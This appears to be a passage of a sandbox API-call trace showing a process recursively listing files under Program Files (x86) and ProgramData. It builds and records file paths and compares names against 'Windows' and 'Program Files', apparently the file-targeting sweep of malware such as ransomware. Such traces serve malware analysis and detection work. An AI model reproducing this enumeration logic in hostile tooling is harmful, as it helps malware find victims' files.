[0123.877] lstrlenW (lpString="Windows Portable Devices") returned 24 [0123.877] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Portable Devices" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices") returned="c:\\Program Files (x86)\\Windows Portable Devices" [0123.877] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\") returned="c:\\Program Files (x86)\\Windows Portable Devices\\" [0123.877] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\") returned 48 [0123.877] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\*") returned="c:\\Program Files (x86)\\Windows Portable Devices\\*" [0123.877] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.877] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.877] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.877] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.877] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.877] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.877] lstrcmpW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0123.877] lstrcmpW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0123.877] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\") returned 48 [0123.877] lstrlenW (lpString="sqmapi.dll") returned 10 [0123.877] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\", lpString2="sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" [0123.877] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned 58 [0123.877] lstrcpyW (in: lpString1=0x24b61f8, lpString2="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll") returned="c:\\Program Files (x86)\\Windows Portable Devices\\sqmapi.dll" [0123.877] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.877] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.877] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.877] lstrcmpW (lpString1="Windows Sidebar", lpString2=".") returned 1 [0123.877] lstrcmpW (lpString1="Windows Sidebar", lpString2="..") returned 1 [0123.877] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.877] lstrlenW (lpString="Windows Sidebar") returned 15 [0123.877] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Sidebar" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar") returned="c:\\Program Files (x86)\\Windows Sidebar" [0123.877] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\" [0123.877] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0123.877] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\*" [0123.877] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.877] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.877] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.877] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.877] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.877] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.877] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0123.877] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0123.877] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0123.877] lstrlenW (lpString="en-US") returned 5 [0123.877] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US" [0123.877] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\" [0123.878] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0123.878] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*" [0123.878] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.878] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.878] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.878] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.878] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.878] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.878] lstrcmpW (lpString1="sbdrop.dll.mui", lpString2=".") returned 1 [0123.878] lstrcmpW (lpString1="sbdrop.dll.mui", lpString2="..") returned 1 [0123.878] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0123.878] lstrlenW (lpString="sbdrop.dll.mui") returned 14 [0123.878] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="sbdrop.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" [0123.878] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned 59 [0123.878] lstrcpyW (in: lpString1=0x24b6278, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\sbdrop.dll.mui" [0123.878] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.878] lstrcmpW (lpString1="Sidebar.exe.mui", lpString2=".") returned 1 [0123.878] lstrcmpW (lpString1="Sidebar.exe.mui", lpString2="..") returned 1 [0123.878] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\") returned 45 [0123.878] lstrlenW (lpString="Sidebar.exe.mui") returned 15 [0123.878] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\", lpString2="Sidebar.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" [0123.878] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned 60 [0123.878] lstrcpyW (in: lpString1=0x24b2870, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui") returned="c:\\Program Files (x86)\\Windows Sidebar\\en-US\\Sidebar.exe.mui" [0123.878] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.878] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.878] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.878] lstrcmpW (lpString1="Gadgets", lpString2=".") returned 1 [0123.878] lstrcmpW (lpString1="Gadgets", lpString2="..") returned 1 [0123.878] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0123.878] lstrlenW (lpString="Gadgets") returned 7 [0123.878] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="Gadgets" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets" [0123.878] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\" [0123.878] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0123.878] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*" [0123.878] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.879] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.879] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.879] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.879] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.879] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.879] lstrcmpW (lpString1="Calendar.Gadget", lpString2=".") returned 1 [0123.879] lstrcmpW (lpString1="Calendar.Gadget", lpString2="..") returned 1 [0123.879] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0123.879] lstrlenW (lpString="Calendar.Gadget") returned 15 [0123.879] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Calendar.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget" [0123.879] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.879] lstrcmpW (lpString1="Clock.Gadget", lpString2=".") returned 1 [0123.879] lstrcmpW (lpString1="Clock.Gadget", lpString2="..") returned 1 [0123.879] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0123.879] lstrlenW (lpString="Clock.Gadget") returned 12 [0123.879] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Clock.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget" [0123.879] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.879] lstrcmpW (lpString1="CPU.Gadget", lpString2=".") returned 1 [0123.879] lstrcmpW (lpString1="CPU.Gadget", lpString2="..") returned 1 [0123.879] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0123.879] lstrlenW (lpString="CPU.Gadget") returned 10 [0123.879] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="CPU.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget" [0123.879] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.879] lstrcmpW (lpString1="Currency.Gadget", lpString2=".") returned 1 [0123.879] lstrcmpW (lpString1="Currency.Gadget", lpString2="..") returned 1 [0123.879] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0123.879] lstrlenW (lpString="Currency.Gadget") returned 15 [0123.879] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Currency.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget" [0123.879] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.879] lstrcmpW (lpString1="PicturePuzzle.Gadget", lpString2=".") returned 1 [0123.879] lstrcmpW (lpString1="PicturePuzzle.Gadget", lpString2="..") returned 1 [0123.879] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0123.879] lstrlenW (lpString="PicturePuzzle.Gadget") returned 20 [0123.879] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="PicturePuzzle.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" [0123.879] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.879] lstrcmpW (lpString1="RSSFeeds.Gadget", lpString2=".") returned 1 [0123.879] lstrcmpW (lpString1="RSSFeeds.Gadget", lpString2="..") returned 1 [0123.879] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0123.879] lstrlenW (lpString="RSSFeeds.Gadget") returned 15 [0123.879] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="RSSFeeds.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" [0123.879] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.880] lstrcmpW (lpString1="SlideShow.Gadget", lpString2=".") returned 1 [0123.880] lstrcmpW (lpString1="SlideShow.Gadget", lpString2="..") returned 1 [0123.880] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0123.880] lstrlenW (lpString="SlideShow.Gadget") returned 16 [0123.880] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="SlideShow.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" [0123.880] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.880] lstrcmpW (lpString1="Weather.Gadget", lpString2=".") returned 1 [0123.880] lstrcmpW (lpString1="Weather.Gadget", lpString2="..") returned 1 [0123.880] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\") returned 47 [0123.880] lstrlenW (lpString="Weather.Gadget") returned 14 [0123.880] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\", lpString2="Weather.Gadget" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget") returned="c:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget" [0123.880] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.880] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.880] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.880] lstrcmpW (lpString1="pie.exe", lpString2=".") returned 1 [0123.880] lstrcmpW (lpString1="pie.exe", lpString2="..") returned 1 [0123.880] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0123.880] lstrlenW (lpString="pie.exe") returned 7 [0123.880] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="pie.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" [0123.880] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned 46 [0123.880] lstrcpyW (in: lpString1=0x24b8cd8, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\pie.exe" [0123.880] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.880] lstrcmpW (lpString1="sbdrop.dll", lpString2=".") returned 1 [0123.880] lstrcmpW (lpString1="sbdrop.dll", lpString2="..") returned 1 [0123.880] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0123.880] lstrlenW (lpString="sbdrop.dll") returned 10 [0123.880] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="sbdrop.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" [0123.880] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned 49 [0123.880] lstrcpyW (in: lpString1=0x24b4aa0, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\sbdrop.dll" [0123.880] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.880] lstrcmpW (lpString1="settings.ini", lpString2=".") returned 1 [0123.881] lstrcmpW (lpString1="settings.ini", lpString2="..") returned 1 [0123.881] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0123.881] lstrlenW (lpString="settings.ini") returned 12 [0123.881] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="settings.ini" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini") returned="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini" [0123.881] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini") returned 51 [0123.881] lstrcpyW (in: lpString1=0x24b4b10, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini") returned="c:\\Program Files (x86)\\Windows Sidebar\\settings.ini" [0123.881] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.881] lstrcmpW (lpString1="Shared Gadgets", lpString2=".") returned 1 [0123.881] lstrcmpW (lpString1="Shared Gadgets", lpString2="..") returned 1 [0123.881] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0123.881] lstrlenW (lpString="Shared Gadgets") returned 14 [0123.881] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="Shared Gadgets" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets") returned="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" [0123.881] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\") returned="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\" [0123.881] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\") returned 54 [0123.881] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*") returned="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*" [0123.881] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.881] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.881] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.881] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.881] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.881] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.881] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.881] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.881] lstrcmpW (lpString1="sidebar.exe", lpString2=".") returned 1 [0123.881] lstrcmpW (lpString1="sidebar.exe", lpString2="..") returned 1 [0123.881] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0123.881] lstrlenW (lpString="sidebar.exe") returned 11 [0123.881] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="sidebar.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe" [0123.881] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe") returned 50 [0123.881] lstrcpyW (in: lpString1=0x24b4b80, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe") returned="c:\\Program Files (x86)\\Windows Sidebar\\sidebar.exe" [0123.881] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.881] lstrcmpW (lpString1="wlsrvc.dll", lpString2=".") returned 1 [0123.881] lstrcmpW (lpString1="wlsrvc.dll", lpString2="..") returned 1 [0123.881] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\") returned 39 [0123.881] lstrlenW (lpString="wlsrvc.dll") returned 10 [0123.881] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\", lpString2="wlsrvc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll" [0123.881] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll") returned 49 [0123.881] lstrcpyW (in: lpString1=0x24b4bf0, lpString2="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll") returned="c:\\Program Files (x86)\\Windows Sidebar\\wlsrvc.dll" [0123.881] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.881] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.881] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0 [0123.882] FindClose (in: hFindFile=0x4d5720 | out: hFindFile=0x4d5720) returned 1 [0123.882] FindNextFileW (in: hFindFile=0x4d56e0, lpFindFileData=0x20f584 | out: lpFindFileData=0x20f584) returned 1 [0123.882] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0123.882] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0123.882] lstrcmpW (lpString1="ProgramData", lpString2="Windows") returned -1 [0123.882] lstrcmpW (lpString1="ProgramData", lpString2="Program Files") returned 1 [0123.882] lstrlenW (lpString="c:\\") returned 3 [0123.882] lstrlenW (lpString="ProgramData") returned 11 [0123.882] lstrcatW (in: lpString1="c:\\", lpString2="ProgramData" | out: lpString1="c:\\ProgramData") returned="c:\\ProgramData" [0123.882] lstrcatW (in: lpString1="c:\\ProgramData", lpString2="\\" | out: lpString1="c:\\ProgramData\\") returned="c:\\ProgramData\\" [0123.882] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.882] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="*" | out: lpString1="c:\\ProgramData\\*") returned="c:\\ProgramData\\*" [0123.882] FindFirstFileW (in: lpFileName="c:\\ProgramData\\*", lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 0x4d5720 [0123.882] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.882] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.882] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.882] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.882] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.882] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0123.882] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0123.882] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0123.882] lstrlenW (lpString="Adobe") returned 5 [0123.882] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Adobe" | out: lpString1="c:\\ProgramData\\Adobe") returned="c:\\ProgramData\\Adobe" [0123.882] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe", lpString2="\\" | out: lpString1="c:\\ProgramData\\Adobe\\") returned="c:\\ProgramData\\Adobe\\" [0123.882] lstrlenW (lpString="c:\\ProgramData\\Adobe\\") returned 21 [0123.882] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Adobe\\*") returned="c:\\ProgramData\\Adobe\\*" [0123.882] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Adobe\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.882] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.882] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.882] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.882] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.882] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.882] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0123.882] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0123.882] lstrlenW (lpString="c:\\ProgramData\\Adobe\\") returned 21 [0123.882] lstrlenW (lpString="Acrobat") returned 7 [0123.882] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\", lpString2="Acrobat" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat") returned="c:\\ProgramData\\Adobe\\Acrobat" [0123.882] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\") returned="c:\\ProgramData\\Adobe\\Acrobat\\" [0123.882] lstrlenW (lpString="c:\\ProgramData\\Adobe\\Acrobat\\") returned 29 [0123.882] lstrcatW (in: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Adobe\\Acrobat\\*") returned="c:\\ProgramData\\Adobe\\Acrobat\\*" [0123.882] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Adobe\\Acrobat\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 